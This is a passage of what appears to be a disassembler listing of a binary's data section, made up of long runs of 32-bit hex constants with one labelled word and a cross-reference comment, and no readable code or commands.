		dd 7E16F755h, 1096D4F8h, 2067269Dh, 1C7798C4h, 0F32D0775h
		dd 292B3C7Dh, 9669B868h, 714BAB00h, 0AD420689h,	5BF8246Eh
		dd 88D59714h, 15001FECh, 0FB6027A7h, 739FADBEh,	94A8A130h
		dd 0E5326B18h, 99EFB2B6h, 0E81017A8h, 704E553h,	0C37CE3CAh
		dd 0CD02FCB8h, 0FCC8EE80h, 0D421B0DAh, 65AB81D5h, 33C07F67h
		dd 0EAB9640h, 0F9C0B273h, 0E4C9D210h, 8C030126h, 0A0ECAD40h
		dd 9A7400E6h, 5AA4097Bh, 0EE055D54h, 7CC0F49Ch,	22C0CF2h
		dd 25271FE8h, 47B3089h,	6AAC405Ah, 6F7F087Dh, 300B9DBh
		dd 9FFC1BD1h, 210B68Eh,	52EFB4E3h, 0B5DBC22h, 1C11A41Dh
		dd 0CC9A880h, 3B137FEDh, 0B4687E04h, 0A7AD449Eh, 2255522Fh
		dd 0C491A44h, 5C429A18h, 84338210h, 5622102Eh, 0A61FDCA0h
		dd 18D36172h, 31B6F881h, 15842019h, 60717F88h, 74DFE9BAh
		dd 302F31EAh, 17C22E5h,	40607178h, 2EE116BDh, 262789F4h
		dd 91B017EEh, 7DA78792h, 0EBAB6F12h, 0A406A068h, 6C00B717h
		dd 5E53F929h, 0CC9B035Ah, 19AA899Dh, 2D0068F1h,	0CE9140A0h
		dd 0A9A1D0Bh, 23F140D4h, 5C072B9Bh, 2E1A7492h, 0C2492766h
		dd 585CF3A8h, 230074D1h, 1160A8F2h, 74320CCh, 0D0B9E64Bh
		dd 27914C28h, 8D72BE00h, 0E1D197E8h, 384F013Bh,	86443F51h
		dd 6166F830h
		db 91h,	0BCh
word_505446	dw 59D0h		; DATA XREF: ___:off_435E08o
		dd 690086F5h, 4A79E6D8h, 1EBA11Dh, 0E9B79523h, 0F8150A4Fh
		dd 42E84E7Ch, 100BBD31h, 58184376h, 35A73F0Ch, 1A65316Fh
		dd 41E6B94Eh, 8B7900DEh, 10AF8C31h, 2C001837h, 6B199D17h
		dd 0D0D801B6h, 77FDAE26h, 0B861A42Eh, 13D2511h,	38F03C51h
		dd 91B8B957h, 555F0029h, 581ACBC7h, 0C81F4ED2h,	7C006298h
		dd 0AF957D65h, 0E24AE70Ah, 0DE680BE0h, 98667886h, 7CC33FBh
		dd 8E1AF3EFh, 137C4BB1h, 980BEBD4h, 2FB87937h, 2017685Ah
		dd 0E180AA91h, 0D4703923h, 0E5A79309h, 8088F133h, 0FD0E1F9Fh
		dd 9700DCD7h, 616BFE0Fh, 0BDFB5F01h, 0DAF32420h, 9917A566h
		dd 2CA0E089h, 0C4B7972Ch, 0EA7E6A00h, 4A310523h, 4AC043E4h
		dd 7178A3E6h, 0A490D64Ah, 1F6B92E1h, 34385A2h, 2B1FF859h
		dd 5A26DD88h, 0D4326F01h, 0DCC3EB08h, 17A26073h, 1606D430h
		dd 930389C1h, 21002D44h, 0C4E85260h, 1580A0Fh, 0D88AA6D1h
		dd 0D6DEABB4h, 344DE4A9h, 3BCEAC3h, 3CB6BB0h, 0F90002A5h
		dd 0B2CCEB5Eh, 2BF2EA8h, 19E784C6h, 0B0745829h,	0DAEF00D6h
		dd 3E3FC108h, 5A314E0Ch, 0A8E321C0h, 558320h, 57BDEC9Ch
		dd 9F1A5CA0h, 0A42F850Fh, 0A7E6E1CCh, 0B8232B44h, 9833A8E2h
		dd 5819927Bh, 506F728Dh, 907E2571h, 0F7582A0h, 8B49F42h
		dd 7BE0CBEFh, 0FC27834Ah, 432C3958h, 301AA2ECh,	0B5046849h
		dd 0D602780Fh, 3A7398E9h, 290097A2h, 0E9AF38C6h, 50067D2h
		dd 3D086CD5h, 0A08AB70Dh, 0AA9754h, 41275ECEh, 0E31020F0h
		dd 2F74BD00h, 0F8A86A4Bh, 0E92EE44h, 3B715B0h, 0E6F35C24h
		dd 49F70010h, 0A5AC1474h, 0E5FC0ACCh, 9DA480A7h, 0A4168DAFh
		dd 80E87CE9h, 4D7C4A6Eh, 30C539D6h, 59ABB900h, 0ECE3A6BFh
		dd 1F6F8709h, 970064CDh, 0ED91F095h, 0ABE9829Dh, 6866199Ah
		dd 0E4B04E90h, 40EB810Ch, 0A010B0E6h, 0B12B1CDCh, 18A6F158h
		dd 33D6055Eh, 0F902D8DAh, 2CF81D8Ch, 0D0A614h, 0DDA73CBFh
		dd 627DC128h, 8AD5A9F6h, 0C980C476h, 1FA85888h,	510C00F1h
		dd 0FD33FB3Dh, 0AE00FFBEh, 0F0570377h, 3CD2C0DDh, 404E122Ch
		dd 0B5BAD0D4h, 19F69932h, 0AFCFB704h, 80D2678Bh, 0E4A86558h
		dd 2F8D6099h, 0C8894EE9h, 4011F3Ch, 197E806Eh, 5C415A49h
		dd 91405B1Bh, 0E40126ADh, 8D4A0053h, 5A93553Bh,	3924088Ah
		dd 6910B8E9h, 35A71921h, 0BC1E0BB4h, 91EB859h, 6C0B6D00h
		dd 79FD4E7Ah, 0DC9B0087h, 3F7B7178h, 0E1057629h, 14BF77C9h
		dd 5CB3C017h, 763093A2h, 6E110730h, 341FB23Ch, 0A62894CCh
		dd 74B3E014h, 649150C0h, 6CD827D5h, 0DB0088C4h,	125AA5ECh
		dd 40F18BEh, 17E03A3h, 884F466h, 9DB11139h, 4643C31h, 12198880h
		dd 0F8FE0EE5h, 0F31B27DFh, 0EF88C49Dh, 818660F4h, 7516892Fh
		dd 6404D514h, 805EF52Bh, 0D4302062h, 6E5906AFh,	3C8B4B14h
		dd 0BDC0F3C8h, 0B8CFFAh, 117601Ch, 0BF5C3F39h, 0CAD850F1h
		dd 6A2F7945h, 11C89757h, 4D1280A8h, 1752F0Eh, 0ADD4CBC3h
		dd 0FC9130D2h, 0DF09F67Eh, 82EBB802h, 67104058h, 6094C400h
		dd 576C14Ah, 27EEAECCh,	1880481h, 313CC85Bh, 613D6Fh, 39A75A12h
		dd 28DE2C7Fh, 1FDD1114h, 4847A4CBh, 52B52675h, 14E44C1h
		dd 49AD30E1h, 3ED4F0C1h, 0E07F582Ch, 64575846h,	0C8C92BCh
		dd 0F91F7D53h, 94972389h, 0AA9D0B74h, 0B0108BD2h, 7F07DBB8h
		dd 0E68391Dh, 6E7EC0BFh, 12F7995Bh, 0FAB31C3h, 0AAA680A8h
		dd 0D5185907h, 49418D8Bh, 30A700B1h, 23D2BDAEh,	7E0085E2h
		dd 0C76A8142h, 99707A2h, 475726FCh, 0D1114000h,	4A2D565Ah
		dd 65089038h, 835902FAh, 90D1DDC9h, 1D44C847h, 294A3060h
		dd 0DD722000h, 0ABBEACAFh, 0CCF7052Fh, 0FC5AFB62h, 8C01BCD8h
		dd 0F0CB9826h, 3DDAE60h, 85F647h, 5140E19Dh, 5732BF67h
		dd 0AA6EDF00h, 0E308EABDh, 64F252A1h, 443018E2h, 4BA6001Bh
		dd 1F0807CDh, 0F7091235h, 92A4E60Eh, 2D2478A4h,	786B02B2h
		dd 0DAD35980h, 0BB022D79h, 8AE03094h, 0AA188327h, 0B4F9B046h
		dd 0DEAD09D3h, 70007FA7h, 0B9B777FBh, 0E8916492h, 1D18A8D1h
		dd 0C0F35B00h, 0D5518503h, 0D9C60102h, 3CD8B76Fh, 39AED8D4h
		dd 1C23E9h, 0F6EB6D83h,	3EEA262Dh, 1DB8B197h, 65029280h
		dd 3FA43696h, 6081EC4Eh, 8308A8A7h, 72CDF344h, 5E08BC80h
		dd 0C309FE46h, 0A04A7002h, 251D2479h, 1BF7ABC0h, 72A75BD9h
		dd 0CCDD5B44h, 261E1080h, 34009B05h, 9156F861h,	30C72436h
		dd 0B5166068h, 0A27A04B2h, 0AE692190h, 70D073C8h, 23023846h
		dd 4E9E9AD7h, 5120C224h, 9BCA1C78h, 3C03172h, 0E62D4BA5h
		dd 0CC886BA2h, 4AB14E4h, 8AFCC977h, 0C5F4FCE6h,	20495D01h
		dd 0E4B4C57Eh, 0F6986056h, 116A03F7h, 0E5AF1524h, 3960D4BAh
		dd 0AD7E84EEh, 0BF722F13h, 79789826h, 9BC9D370h, 3495806Ch
		dd 0BD5C0181h, 0A4E8C010h, 0B8A396E6h, 2BAB2398h, 0BB8ACD12h
		dd 0DC882021h, 1618603Eh, 30180D8Dh, 22914138h,	60EB00BDh
		dd 0F87B3639h, 0DE5906ADh, 20CF2890h, 0BFF77F00h, 3C7C6048h
		dd 9FA55C43h, 4DB84E4Ah, 5B5036E0h, 5C00555Ah, 0F825F0C0h
		dd 9CABF37Dh, 0F11D40B0h, 30E85DADh, 183D1224h,	0DF952667h
		dd 5C8868BCh, 0AA389BC9h, 3BDA6008h, 1650011Ch,	4302625Ah
		dd 8CCE2EF4h, 6F83C0BAh, 4251177h, 0D00723DFh, 8444ABFCh
		dd 77051337h, 8CF2A3h, 0C62B08C1h, 60D56FD6h, 0BD5F490Fh
		dd 235EDC04h, 0D2CF38D0h, 0DE6C00C6h, 0BA27CDC5h, 6DEA7871h
		dd 9FE9CB05h, 40F412A9h, 0C494254Eh, 6B03B051h,	0E0225A2Fh
		dd 978AD540h, 0C9002464h, 2EE7B9B6h, 16B8929Ah,	0F0E17C7Fh
		dd 91608BC8h, 5B53CD29h, 0F370E5E7h, 4D700354h,	6EEB8B73h
		dd 6593BE80h, 68D1A809h, 3D00DA32h, 1926C5Ah, 0C508C971h
		dd 7C81F1E1h, 77FF8038h, 5426954Fh, 3E4138DFh, 0B700B431h
		dd 1A216F28h, 56008D14h, 65EDD319h, 2F9D18CBh, 18903633h
		dd 6895B0E6h, 2DC73834h, 4E4A3E5h, 1640CC79h, 0D5913ED6h
		dd 21005B44h, 57820DE5h, 39CF8364h, 0D850E16Ch,	0E4B883Bh
		dd 0B0091C31h, 5069B81Fh, 3B002B22h, 5F598DC4h,	3EE471Dh
		dd 877F23E4h, 40585DCBh, 9FB40C13h, 0C5CA898h, 8EA4E528h
		dd 0E077F111h, 0B7784B05h, 20807EAEh, 0B0AF02DDh, 8F11021Ch
		dd 6F580E81h, 722CA860h, 0A5616800h, 0C72F2295h, 0B26502D3h
		dd 9C021F89h, 38883876h, 0D9C8376Eh, 8A5C34F8h,	1EF8334h
		dd 59579837h, 11310070h, 3D08AAB3h, 641573B9h, 0A4337Ch
		dd 2FDB16E5h, 0E3A3ECCEh, 0C8E811DDh, 0AF5A174Bh, 0DE70A062h
		dd 1367C007h, 9FC3093Dh, 3D18A606h, 0BEBFD02Bh,	39224E00h
		dd 80F3202Ah, 8075DB3Dh, 7426DAC1h, 424B263h, 0A4BCE9C8h
		dd 16ACF8AEh, 18052C5Ch, 0DC001D26h, 88AA8C72h,	967A301Fh
		dd 4877ECD0h, 9F0E3790h, 0AB3245A6h, 0BFBCC8A4h, 28CB1BADh
		dd 73B01114h, 0D01F4F08h, 3E402B07h, 0D58602D8h, 0D7F480h
		dd 0F87A717Fh, 2E33C0A5h, 9F7D3E03h, 36E0CEh, 816360EAh
		dd 7865C20h, 95584A00h,	0D035DE40h, 7222007Ah, 0BCB19984h
		dd 0EF00BE81h, 0BFC167A6h, 15C177Ch, 5A2976BDh,	0C469B6C3h
		dd 8EB80EFBh, 9A1880F1h, 71C178FDh, 20BF5636h, 6C89C8DFh
		dd 0C05D2500h, 9D267Bh,	9C667A56h, 83E9038Ah, 0FA780FE4h
		dd 7100ACF4h, 0BBAAFFBEh, 492A66Dh, 7C16B0A5h, 0C2372C26h
		dd 0C40E1D80h, 2E401408h, 1E99C998h, 3BF64C56h,	0BD35A703h
		dd 0F08767F0h, 0FE188428h, 0EB48E309h, 0CA5E8F7Eh, 8B23479h
		dd 5580A1BBh, 0D01A568Fh, 321F8A0h, 779063EDh, 31D71D3Fh
		dd 0EA5C56CDh, 0A7EE7740h, 763B0307h, 1750F777h, 71C721h
		dd 5602B553h, 36E7F085h, 8078F7Ch, 0F7806AB3h, 21197DD3h
		dd 0F308A929h, 84BF9047h, 6D441810h, 3BF44401h,	44694B44h
		dd 115F15E0h, 3DD91103h, 18085721h, 84659044h, 8348CFCAh
		dd 5988B04Eh, 0B8503E80h, 8730C4h, 2CBB1416h, 0C058F24Bh
		dd 0C8C24800h, 0A504F78Ch, 0DED200E6h, 6DE416D3h, 9500A2DFh
		dd 3DB3B1E8h, 3C8BD0h, 0F70801BBh, 83D88E13h, 23933Eh
		dd 0E75703DDh, 736BDFh,	0E2FAADD6h, 0A46DD390h,	9B7D8F00h
		dd 0B9370A74h, 0E02E00A1h, 67FA1709h, 0A50028CFh, 1C194E4Fh
		dd 0DDD825h, 92C49B9Eh,	0C5527986h, 4A5B3600h, 3596A070h
		dd 818E004Dh, 5A0B7407h, 24F2F9D2h, 0F8807500h,	307FCBF7h
		dd 0AF1901FFh, 7B6DDDA2h, 0AEE6ECD4h, 0F2505700h, 0EAC4EE65h
		dd 2A0603E7h, 593F365Eh, 67AB16A8h, 0F903C300h,	7B574A1Bh
		dd 0F010F75h, 0AFA79814h, 0FD9B108Bh, 52000EE2h, 0FFC5D9A7h
		dd 38CF7753h, 8A816A32h, 144B9406h, 4CD12034h, 0A1CA8F00h
		dd 983A131Ah, 16CF18A0h, 28F98043h, 3BF16000h, 42FA3455h
		dd 0E98F00C5h, 0D05A506Ah, 3A18D8B2h, 1578F69Ah, 0DEB40022h
		dd 0E7DF98A0h, 1D001F14h, 59A6C266h, 18862EB2h,	31F80863h
		dd 8000FE40h, 0BCDBC590h, 0F143377h, 94E61AC6h,	0AAA2E4A0h
		dd 5407D46Ah, 2D48CF76h, 45996CA0h, 7A40075h, 0CEB10EADh
		dd 0F004769h, 0D32E0C03h, 3C183DDh, 0F9E62935h,	38982382h
		dd 59240852h, 7900A48Fh, 75B6AF45h, 0DD8A07E3h,	0A960133Dh
		dd 7DA63800h, 0B50717B0h, 87E4AC33h, 0F93973B0h, 0DE4E0020h
		dd 1B26A1BBh, 0EA0ECB5Dh, 20CFC3F8h, 4813D262h,	0F6C40C6Bh
		dd 80E066F0h, 2F00BEEAh, 0CD8917Ah, 303C6EB0h, 62107BDCh
		dd 0DF4758Fh, 0F3D48A0Eh, 0A0864C05h, 0A15601F8h, 5860CE2Dh
		dd 0FA4BC00Eh, 0FCEC0F0Eh, 5ACD6079h, 0DCB5FBh,	80A507B6h
		dd 1F33941Ch, 17AD7002h, 572CDE4Bh, 407422C1h, 0D0E4E6E4h
		dd 0D8904C00h, 1A6DA846h, 0F50E39ECh, 32B75580h, 8CA52BADh
		dd 0FCD54D18h, 0C4B64A0h, 0FAB4513Eh, 0C1084110h, 80AD2A07h
		dd 0B3ED88A9h, 0AC0CF72Bh, 18FD269Eh, 4B5006Ch,	6DEE18E6h
		dd 0BD00AF1Dh, 888BFEC9h, 0F77C59h, 0EA2B015Bh,	0C3282ADBh
		dd 68AC9C1Eh, 0A6BFB003h, 95040090h, 0DA772043h, 5F009C18h
		dd 57DB6FF7h, 1FB49D28h, 83B8C540h, 54C4B668h, 1BA15088h
		dd 0EA9F5100h, 70909BAFh, 0EC81003Ch, 0CF64662Eh, 4E7EE15Ah
		dd 0DDB9B200h, 1F4C279Dh, 90BAE21Ah, 7844031Ah,	928BF7CFh
		dd 0B49B8AF3h, 0E909DAC8h, 0A4814E0Ch, 5110B3h,	0D65B9571h
		dd 1AC7273Ah, 6E36FA1Dh, 85334340h, 0C8DFD7h, 1EE0C0Ah
		dd 0EF4C9B7Bh, 0FFCB6400h, 0CCF27CFBh, 0A0435A59h, 5E00AE08h
		dd 0ED692ADAh, 0D27306h, 31C36C7Dh, 1D9CB0E1h, 30989777h
		dd 8A0FA801h, 54CFC7Fh,	30B8CCh, 5427392Fh, 656B975Ch
		dd 0C6002090h, 9E99D9FFh, 1A3D066h, 0C03612E0h,	0C8253143h
		dd 59FEB23Ah, 5B75CF79h, 0D7699200h, 0FBFD8909h, 84F50423h
		dd 0C0D0E78Dh, 0ED08B6B4h, 8A243A00h, 2236460Ah, 0D5F40CF8h
		dd 0B3911044h, 15E1B112h, 0CB63B303h, 4BC288B0h, 0F706Ah
		dd 0CDB7CA84h, 0EA4AF40Ah, 8506881Eh, 0DDD7D480h, 2A103Ah
		dd 4CA27FB2h, 57DA22DEh, 0F277A700h, 45045CCBh,	3F2F3841h
		dd 0E2CF5DA8h, 4C8A034Ah, 0FD560D2Bh, 75D057C8h, 92002C90h
		dd 0BD3253ABh, 0BEDEEEh, 1A14293Ch, 0C3EF02C8h,	1D424902h
		dd 609E198Dh, 302108A5h, 0B604C50Ah, 0F0062256h, 1045B8EEh
		dd 4DA400BCh, 0F18B3C57h, 0B2090BABh, 8041925h,	0E100D404h
		dd 0D3E7A06Eh, 0C13A0030h, 9EB9896h, 197C2752h,	1293353Ah
		dd 0C00DD47h, 281D292Eh, 0BD0700E8h, 0B3223B9Ch, 0FD0FEAAFh
		dd 0C0C37D3Ch, 0D5620576h, 980803F7h, 0ACCDBA45h, 0DAC1DDA8h
		dd 4C6CD400h, 60975410h, 188E4C92h, 6481D738h, 57692B21h
		dd 3DF88049h, 8EC8A214h, 2A300065h, 95F85DA5h, 6600F67Bh
		dd 0FD47E685h, 5516E9h,	8390FB73h, 1AD8869Dh, 0B3DD4B00h
		dd 91CAEB28h, 4FC40039h, 9AD9C940h, 6A5053F8h, 3526E280h
		dd 11302B61h, 13CF3DEAh, 9A70544h, 0EC00C8AFh, 742BE98Ah
		dd 0D800E070h, 9BC66012h, 0D6616Ah, 0EBF0F480h,	91DC7BDAh
		dd 2B1148h, 341BABD1h, 0B53ED7Ch, 3C79D945h, 0F3F5B400h
		dd 2009D793h, 12E684h, 498F8DABh, 0E9F859h, 0D3242B29h
		dd 9C3FEBD2h, 18AB6324h, 2169FF00h, 0AADDBCh, 664267E3h
		dd 0E781D090h, 0C9DC4000h, 0F51298A8h, 7B6303C2h, 0EC08231Ch
		dd 8731DBC8h, 0E1ADE700h, 9BD2BAEh, 0A0A948B8h,	0CA2E4C00h
		dd 0F594FF12h, 0B6D03A00h, 847B97D4h, 93E5008Ah, 87347F57h
		dd 8000F1F3h, 0C9675511h, 6491DF5h, 962F91CEh, 611C5834h
		dd 0D880435Dh, 28B66B21h, 92AD0039h, 5BF51F6Dh,	0BA00D647h
		dd 0E531B064h, 63BE33h,	274DC43Bh, 0C25D150Fh, 3869307h
		dd 6CE10937h, 0E0C0FB66h, 77900772h, 20B6F5CAh,	0C1848F3Fh
		dd 0EBEA860Eh, 0E3514163h, 45DC5A3Bh, 54F701E7h, 2D0A040Dh
		dd 4056ED99h, 2357E8BCh, 0F80E330Ch, 0A54C84h, 713014Eh
		dd 3B9746FBh, 4D439800h, 4AD87752h, 0AF3900DEh,	75F57615h
		dd 0EC016155h, 6F9653EBh, 1D864B4h, 84CF0057h, 0F4AFFA22h
		dd 801B54Ch, 0EED992E4h, 8C20BA62h, 8283164Dh, 372C0013h
		dd 5BB4865Fh, 55420B00h, 0ACADF8C9h, 8552006Ch,	0EB5E2922h
		dd 400F5D0h, 5CFDA326h,	2EE8D9h, 4D7A48A2h, 0CAAB3059h
		dd 31D5A700h, 3717EF28h, 0F4E70021h, 60CB8801h,	9A000C98h
		dd 0A6499FDDh, 1E2BD4Bh, 0C4D9772Ch, 0C00A6626h, 0A400B2C7h
		dd 0EC88066Eh, 4B84A2h,	0D5B9FB93h, 2EF4B315h, 1050AA00h
		dd 5DED715Eh, 7D4908Dh,	0C9411A0Bh, 7F93109Eh, 50F22F21h
		dd 0E9FCF400h, 7B8F83A0h, 0B5D45808h, 871D031Dh, 528ED8B7h
		dd 0AC425143h, 0B9339400h, 96122609h, 0D404B2AAh, 2080FF7Eh
		dd 1A41112h, 7673FA14h,	0CCB5E5C3h, 860099AFh, 0F73A6E30h
		dd 0DFD878h, 3F4A44B9h,	0EF1BFC0Fh, 2DAB2300h, 0D3845B61h
		dd 5582009Fh, 3A058147h, 75002A35h, 764E411Bh, 1F36B960h
		dd 0CFC22Bh, 0ADBC43C8h, 1F0090DDh, 0D1FF068Bh,	0BB1B7Dh
		dd 0D729D091h, 0E872D5C6h, 0F71B700h, 56971058h, 4EF44823h
		dd 337F716h, 490D42E3h,	0C0E084B5h, 2881B47Ch, 9004EE0Eh
		dd 577D60FBh, 0A6C9B35h, 27EB2518h, 0A0BA8090h,	0BE0A311Bh
		dd 9385A600h, 29C57D2Ch, 38EA0BEBh, 44206C18h, 0C276BB15h
		dd 6C552A24h, 493D4A04h, 0E67B4981h, 0FBDD8C50h, 670B078Fh
		dd 0A01F3709h, 8703D77Fh, 0EF467E0Eh, 0A807001Bh, 0F8C657h
		dd 8DACC824h, 1CCC9AA1h, 620B5100h, 3D59C0D0h, 962E0767h
		dd 40A9EA09h, 0DFC81073h, 1A9B8309h, 0CF608026h, 0F351E18Ch
		dd 0D35430h, 71506535h,	0E1FBFD4h, 2A265AEEh, 70266068h
		dd 0D6032B00h, 2EC34Ah,	60221651h, 1341B797h, 0D1E9CB00h
		dd 0EE0B3FBFh, 0C725041Ah, 80178270h, 6C9C6F89h, 0B2A1CE05h
		dd 0C7C0E3E9h, 4CA422A5h, 4D0004D1h, 64133FAFh,	0BB005D97h
		dd 82CC6FF8h, 6B7AB7h, 1E98B3A0h, 7156228h, 4588AE07h
		dd 0C2916C5Ah, 49CC9418h
		dd 3BF40025h, 0D47B9EFEh, 0B1004F5Dh, 2B1CD87Ah, 0F35E00Bh
		dd 0A4C1480Fh, 4A6377E0h, 0CF399791h, 6ACB80F3h, 2C994E5Ah
		dd 3B41000Fh, 0CD1D2E52h, 0DC006327h, 5805C05Dh, 98F5E156h
		dd 0A7500A08h, 13C811E4h, 181840BCh, 6827E53Ch,	517F1D00h
		dd 0D4FD1C86h, 0D1DD18EBh, 0B5653803h, 0E3F74900h, 0AADF1D06h
		dd 131105CDh, 7D66877h,	0F0EDA8C4h, 0F54291FBh,	8D758F26h
		dd 825BC00Bh, 4869EFB0h, 0F0376828h, 71C9F211h,	14250071h
		dd 87EACB58h, 85E40C5Fh, 0CE88A800h, 5C211A5Dh,	0C2F62C86h
		dd 822D408Ch, 0AE003A02h, 152BADECh, 7BFD0B68h,	0EB89001Eh
		dd 0E6B8C69Fh, 0CB892A7h, 0DBDDD800h, 0B677BA3h, 75FB39FFh
		dd 0C25AE780h, 582E4D2Dh, 583A400h, 4E233282h, 7AD000DEh
		dd 0EB45C286h, 0B401DDB1h, 21342CEh, 87E4BF96h,	0CBD20115h
		dd 0DD7B701Dh, 0E822CCBBh, 62404A1Eh, 5147AE00h, 0B2745h
		dd 8D6CFEBDh, 12B0F81Dh, 0BBE836FAh, 48C85C24h,	0A1D1CD00h
		dd 7516104Dh, 89E124DAh, 0C70700F0h, 191AD28Dh,	0EE3A0800h
		dd 91846DACh, 5B700078h, 0DD4DB60h, 8B0EE42Ah, 0EF75087Ch
		dd 0A6982137h, 0E1F4D08Ah, 36AD3E9Ah, 2D3CA884h, 48FA01C8h
		dd 5072A61Fh, 9091A525h, 0CBB470F6h, 2070AA25h,	759C8144h
		dd 50777FC8h, 65901Fh, 0B964FB82h, 4BDBC701h, 8C7D3EC0h
		dd 3CF9E5BBh, 0FC50522Ah, 125C006Ch, 0E69088A5h, 0D83E02E8h
		dd 0D62A0353h, 0EA0978D9h, 492C6057h, 0DD50006h, 0DB93C026h
		dd 69383524h, 8ED2000Eh, 310295D0h, 9C665CACh, 0DC1C4A00h
		dd 0D7E79D8Ch, 82F5FB00h, 7B08578Fh, 0C546009Ah, 0B2F6CAEFh
		dd 1754D1E7h, 0E324A0ECh, 0BD0081D4h, 0A20B3DCh, 0DFDA0050h
		dd 66B24F7Bh, 811C3FF0h, 118046FDh, 73E5A644h, 0CFC407D2h
		dd 5F61BDBBh, 26E0C320h, 1F72B789h, 7D60FD00h, 787EBA17h
		dd 3F0612C9h, 0E55C001Ch, 7F34C840h, 9D802094h,	0F1E8D3DAh
		dd 98B2000Ah, 0F74077Dh, 4E00C476h, 9E13C643h, 97EB8Fh
		dd 0EC68A218h, 0AA737B01h, 0F995F150h, 33D88E00h, 878AE364h
		dd 622D0027h, 45348847h, 0DD2ED7F0h, 0EB054C03h, 0BEC0C6C8h
		dd 0BB57EFh, 0BE4C2A8h,	0ACD9BA46h, 0A53A403Ah,	0A2F008A5h
		dd 561FF200h, 875A55h, 926FFEF1h, 7D9E126Ch, 0E7E3F900h
		dd 2AACEC2Bh, 810599Fh,	9632F600h, 4D50BC49h, 3F038E73h
		dd 7C62F452h, 6DAFF8D4h, 1420EFE6h, 43280A32h, 0B55A0Dh
		dd 871918EBh, 72B8B633h, 68792C00h, 58A2BC77h, 8B5D3F37h
		dd 2BDB3605h, 2114A402h, 8031C43Fh, 94C35E52h, 9A0197h
		dd 9DFF227Dh, 2730A58h,	0B102BC76h, 5653C152h, 9CF8E8F1h
		dd 517E0041h, 0F89E0148h, 9248376h, 6F00B88Bh, 0E2F5ECDFh
		dd 90B491h, 19ACC5E4h, 3D0096CFh, 352C4388h, 53ADA0h, 25CCEBEh
		dd 0EEE1038Fh, 63691D01h, 7E057068h, 2482E2C0h,	5B8C9D6h
		dd 0C061C0F2h, 57830834h, 8C7274ECh, 68264500h,	0D86CAF50h
		dd 0A8A8A828h, 5FE33C98h, 0ABEBD680h, 4D0363B6h, 0D2904501h
		dd 788A8934h, 0D8F6F8h,	0C4D5DF3Eh, 777029B4h, 0E2386A07h
		dd 4BB039DCh, 5C1E2Ch, 2E996578h, 0BA3412B4h, 0DC1DD200h
		dd 0AAE34658h, 0AC5200EBh, 74762690h, 83001C01h, 0B5A64F37h
		dd 794DBD77h, 0C1300084h, 610A7CC3h, 0C700FA9Ch, 0A069E662h
		dd 56A86FDh, 0F4961622h, 0AFCE008Ah, 0CEA6C31Eh, 886C071Fh
		dd 1352BA80h, 2B7903h, 48F495FCh, 0E0027499h, 80445700h
		dd 0D5928E34h, 0BC760056h, 35A4476Fh, 0AC00E11Ch, 1636A04Bh
		dd 7FB6E7h, 9BFE84FBh, 0C7812C09h, 973B381Fh, 3005562Ch
		dd 8C076DE1h, 6EE1E91Bh, 56C4FAD3h, 4E440378h, 28E29D57h
		dd 6D088AD0h, 0ECFF6200h, 0FE11DACEh, 0D8840047h, 372E177Ah
		dd 4009913h, 0D7944970h, 1A890ECh, 1CEB739Ch, 0C43045D9h
		dd 7B0FBD2Ch, 20E96BFFh, 516F12D0h, 0B90F1F28h,	0A4A6004Dh
		dd 2D5984F7h, 0D48D9200h, 0DCAF5B6h, 0D1184817h, 9110A600h
		dd 2D4612C0h, 85D8C900h, 43838B7Bh, 0CF7003ABh,	0BF05AC63h
		dd 0AF80F998h, 7A222F05h, 0B30031A4h, 700CADB4h, 27E80EB2h
		dd 946090A1h, 5FB6A21Bh, 0B8467F00h, 0D5D034DAh, 0F8715Bh
		dd 47A15E32h, 80BEC445h, 0F3043F00h, 6BD3D581h,	0C2E0007Ah
		dd 5AEB6E4Eh, 8D00BBE6h, 78D09F66h, 0DBA30Ch, 0BADB912h
		dd 0A855C03Eh, 5A9AEE00h, 8E895C85h, 1AECFB1Ch,	0F8B107B9h
		dd 30059963h, 44B5786Eh, 9D75510Eh, 0EC01CC4h, 7D532713h
		dd 468A0B2Ch, 3600F7A2h, 0CBF5FC95h, 17F00750h,	0C86B4700h
		dd 0E0C1ED8Fh, 1FD79B1h, 0B7792BEEh, 0D80A3BDEh, 343AA887h
		dd 0F30D079Eh, 58F0B6F8h, 6F513Dh, 42CA5EFEh, 6874D7CDh
		dd 163EB44h, 5DCFF479h,	209ED40Fh, 0C9003874h, 33B46BEBh
		dd 0F123F5h, 470DE6BBh,	7A55C6ACh, 82ADA600h, 722BE584h
		dd 0BA0700DAh, 9BBE735Eh, 0A803C791h, 3894FC90h, 8804C31Ah
		dd 1565DE2h, 9192223h, 0FC500F89h, 0FA505E73h, 1A00ACB2h
		dd 875F48DCh, 0FE14CA54h, 0B334007Fh, 0B9F6D31h, 9D00A897h
		dd 83994A44h, 8E1DA7h, 0E08A77E2h, 47115B71h, 9E69B43Fh
		dd 4800BA51h, 0CC5E925h, 0C27900DBh, 1E934DA6h,	52E43ADFh
		dd 0EAD8D900h, 7BF6290Ah, 90CE00A3h, 0D34EF024h, 0A00082D1h
		dd 3E882F59h, 0D6F1CF04h, 0CD940118h, 0EC64CED5h, 9F18F913h
		dd 0D268140Eh, 4CC70019h, 2B4DC371h, 0A9008D1Dh, 58D43729h
		dd 2F53202h, 39C2095h, 0EC8008A7h, 796D7A89h, 0F612B90Ah
		dd 138EE2Eh, 0FCB0AAB4h, 80C3268Fh, 9F951h, 70997157h
		dd 0C19447F3h, 809D4000h, 0B123D62Ch, 60A2483Ch, 59308C00h
		dd 69B8843Dh, 5FE0731Dh, 0F1BA47C0h, 4A5D16h, 11622E41h
		dd 89A9A6DFh, 0A42B6F18h, 1ED1A890h, 80AABF0Ah,	5A92C857h
		dd 0EA03D074h, 0FF148F7Bh, 0CB88E0Bh, 71FD87A4h, 923CF439h
		dd 5AA79DFCh, 61EE9306h, 0BA1A3E18h, 0E6D5DE00h, 0A384C97Eh
		dd 0FBD4800h, 59610560h, 2850EFDh, 0D66A0Eh, 0AF0DE92Ah
		dd 0BF0009A7h, 83F7D96Eh, 0A02722Eh, 0C97AB1A4h, 6A55809Ch
		dd 0FCCAFFD0h, 80902F6Fh, 2DF2BB8Ah, 0D6D40E99h, 2845F791h
		dd 2B1000CAh, 0B1A26F9Eh, 49C0327Bh, 0E0D05BCBh, 7A28C149h
		dd 0F027CCD9h, 4800BCB5h, 0E321551Fh, 606BE61Bh, 75094E56h
		dd 6200AD82h, 472A6FB5h, 0D823C2h, 193D5C5Dh, 5EA81B4Ah
		dd 735BB200h, 0E5155A90h, 1E873B85h, 0CA808EB9h, 1FF566DEh
